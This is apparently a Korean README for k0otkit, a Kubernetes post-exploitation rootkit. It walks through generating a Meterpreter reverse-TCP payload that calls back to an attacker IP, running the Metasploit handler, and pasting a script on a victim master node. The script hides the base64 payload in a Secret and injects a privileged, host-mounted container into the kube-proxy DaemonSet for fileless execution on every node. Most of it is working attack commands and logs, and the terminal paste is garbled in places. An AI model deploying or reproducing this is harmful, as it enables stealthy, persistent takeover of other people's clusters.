
k0otkit는 Kubernetes 클러스터에 대한 침투에 사용될 수 있는 보편적인 사후 침투 기술입니다.
k0otkit은 Kubernetes 클러스터 대상 침투 시 사용할 수 있는 보편적인 사후 침투 기술입니다.
k0otkit을 사용하면 대상 Kubernetes 클러스터의 모든 노드를 빠르고 은밀하며 지속적으로 조작할 수 있습니다 (리버스 셸).
k0otkit은 Kubernetes와 rootkit의 결합입니다.
전제 조건:
k0otkit은 사후 침투 도구이므로, 먼저 클러스터를 장악하고, 컨테이너에서 탈출하여 마스터 노드의 루트 권한을 획득해야 합니다 (정확히는 대상 Kubernetes의 관리자 권한을 얻어야 합니다).
시나리오:
kubectl을 사용하여 admin으로 클러스터에 명령을 내릴 수 있게 됩니다.k0otkit에 대한 자세한 내용은 k0otkit: K8s를 K8s 방식으로 해킹하기 에서 확인할 수 있습니다.
대상 Kubernetes의 마스터 노드에서 루트 셸을 획득했는지 확인하십시오. (대상 Kubernetes의 관리자 권한이 있다면 k0otkit을 사용할 수 있지만, 토큰이나 인증서를 사용하려면 k0otkit_template.sh의 kubectl 명령을 수정해야 할 수도 있습니다.)
공격자 호스트에 Metasploit을 설치했는지 확인하십시오 (msfvenom과 msfconsole을 사용할 수 있어야 함).
k0otkit 배포
이 저장소를 클론합니다:
git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh
pre_exp.sh에서 공격자의 IP와 포트를 자신의 IP와 포트로 변경합니다:
ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444
k0otkit을 생성합니다:
./pre_exp.sh
k0otkit.sh 파일이 생성됩니다. 그런 다음 리버스 셸 핸들러를 실행합니다:
./handle_multi_reverse_shell.sh
핸들러가 준비되면, k0otkit.sh의 내용을 복사하여 대상 Kubernetes 마스터 노드의 셸에 붙여넣고 <Enter>를 눌러 실행합니다.
잠시 기다리면 모든 노드에서 리버스 셸을 확인할 수 있습니다 :)
참고: k0otkit으로 조작할 수 있는 Kubernetes 클러스터의 수에는 제한이 없습니다.
셸과 상호 작용
k0otkit이 성공적으로 배포된 후에는 원하는 대로 리버스 셸과 상호 작용할 수 있습니다:
# msfconsole 내에서
sessions 1
k0otkit 생성:
kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh
리버스 셸 핸들러 실행:
kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >
k0otkit.sh의 내용을 복사하여 대상 Kubernetes 마스터 노드의 셸에 붙여넣고 <Enter>를 누르십시오:
kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF
# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below
# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n pr name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/